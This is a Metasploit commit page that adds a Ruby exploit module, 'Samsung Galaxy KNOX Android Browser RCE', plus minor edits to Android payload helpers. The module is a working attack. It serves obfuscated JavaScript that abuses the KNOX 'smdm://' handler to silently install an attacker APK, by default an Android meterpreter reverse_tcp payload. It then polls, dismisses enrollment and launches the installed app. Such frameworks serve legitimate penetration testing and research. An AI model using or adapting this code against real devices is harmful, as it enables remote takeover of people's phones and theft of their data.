Skip to content

Commit 286827c

Browse files
author
Tod Beardsley
committed
Land rapid7#4186, Samsung KNOX exploit. Ty @jvennix-r7!
2 parents 9e8f1d1 + 39980c7 commit 286827c

File tree

3 files changed

+166
-2
lines changed

3 files changed

+166
-2
lines changed

lib/msf/core/exploit/android.rb

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -49,8 +49,6 @@ def add_javascript_interface_exploit_js(arch)
4949
5050
// libraryData contains the bytes for a native shared object built via NDK
5151
// which will load the "stage", which in this case is our android meterpreter stager.
52-
// LibraryData is loaded via ajax later, because we have to access javascript in
53-
// order to detect what arch we are running.
5452
var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}";
5553
5654
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains

lib/msf/core/payload/dalvik.rb

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -60,6 +60,10 @@ def generate_cert
6060
# with a key whose validity expires before that date.
6161
# """
6262
cert.not_after = cert.not_before + 3600*24*365*20 # 20 years
63+
64+
# If this line is left out, signature verification fails on OSX.
65+
cert.sign(key, OpenSSL::Digest::SHA1.new)
66+
6367
return cert, key
6468
end
6569
end
Lines changed: 162 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,162 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'digest/md5'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
11+
include Msf::Exploit::Remote::BrowserExploitServer
12+
13+
# Hash that maps payload ID -> (0|1) if an HTTP request has
14+
# been made to download a payload of that ID
15+
attr_reader :served_payloads
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Samsung Galaxy KNOX Android Browser RCE',
20+
'Description' => %q{
21+
A vulnerability exists in the KNOX security component of the Samsung Galaxy
22+
firmware that allows a remote webpage to install an APK with arbitrary
23+
permissions by abusing the 'smdm://' protocol handler registered by the KNOX
24+
component.
25+
26+
The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3,
27+
and Ace 4.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' => [
31+
'Andre Moulu', # discovery and advisory
32+
'joev' # msf module
33+
],
34+
'References' => [
35+
['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'],
36+
['OSVDB', '114590']
37+
],
38+
'Platform' => 'android',
39+
'Arch' => ARCH_DALVIK,
40+
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
41+
'Targets' => [ [ 'Automatic', {} ] ],
42+
'DisclosureDate' => 'Nov 12 2014',
43+
'DefaultTarget' => 0,
44+
45+
'BrowserRequirements' => {
46+
:source => 'script',
47+
:os_name => OperatingSystems::Match::ANDROID
48+
}
49+
))
50+
51+
register_options([
52+
OptString.new('APK_VERSION', [
53+
false, "The update version to advertise to the client", "1337"
54+
])
55+
], self.class)
56+
57+
deregister_options('JsObfuscate')
58+
end
59+
60+
def exploit
61+
@served_payloads = Hash.new(0)
62+
super
63+
end
64+
65+
def apk_bytes
66+
payload.encoded
67+
end
68+
69+
def on_request_uri(cli, req)
70+
if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/
71+
if req.method.upcase == 'HEAD'
72+
print_status "Serving metadata..."
73+
send_response(cli, '', magic_headers)
74+
else
75+
print_status "Serving payload '#{$1}'..."
76+
@served_payloads[$1] = 1
77+
send_response(cli, apk_bytes, magic_headers)
78+
end
79+
elsif req.uri =~ /_poll/
80+
vprint_debug "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}"
81+
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
82+
elsif req.uri =~ /launch$/
83+
send_response_html(cli, launch_html)
84+
else
85+
super
86+
end
87+
end
88+
89+
# The browser appears to be vulnerable, serve the exploit
90+
def on_request_exploit(cli, req, browser)
91+
print_status "Serving exploit..."
92+
send_response_html(cli, generate_html)
93+
end
94+
95+
def magic_headers
96+
{ 'Content-Length' => apk_bytes.length,
97+
'ETag' => Digest::MD5.hexdigest(apk_bytes),
98+
'x-amz-meta-apk-version' => datastore['APK_VERSION'] }
99+
end
100+
101+
def generate_html
102+
%Q|
103+
<!doctype html>
104+
<html><body>
105+
<script>
106+
#{exploit_js}
107+
</script></body></html>
108+
|
109+
end
110+
111+
def exploit_js
112+
payload_id = rand_word
113+
114+
js_obfuscate %Q|
115+
116+
function poll() {
117+
var xhr = new XMLHttpRequest();
118+
xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999);
119+
xhr.onreadystatechange = function(){
120+
if (xhr.readyState == 4) {
121+
if (xhr.responseText == '1') {
122+
setTimeout(killEnrollment, 100);
123+
} else {
124+
setTimeout(poll, 1000);
125+
setTimeout(enroll, 0);
126+
setTimeout(enroll, 500);
127+
}
128+
}
129+
};
130+
xhr.onerror = function(){
131+
setTimeout(poll, 1000);
132+
setTimeout(enroll, 0);
133+
};
134+
xhr.send();
135+
}
136+
137+
function enroll() {
138+
var loc = window.location.href.replace(/[/.]$/g, '');
139+
top.location = 'smdm://#{rand_word}?update_url='+
140+
encodeURIComponent(loc)+'/#{payload_id}.apk';
141+
}
142+
143+
function killEnrollment() {
144+
top.location = "intent://#{rand_word}?program="+
145+
"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";
146+
setTimeout(launchApp, 300);
147+
}
148+
149+
function launchApp() {
150+
top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
151+
}
152+
153+
enroll();
154+
setTimeout(poll,600);
155+
156+
|
157+
end
158+
159+
def rand_word
160+
Rex::Text.rand_text_alphanumeric(3+rand(12))
161+
end
162+
end

0 commit comments

Comments
 (0)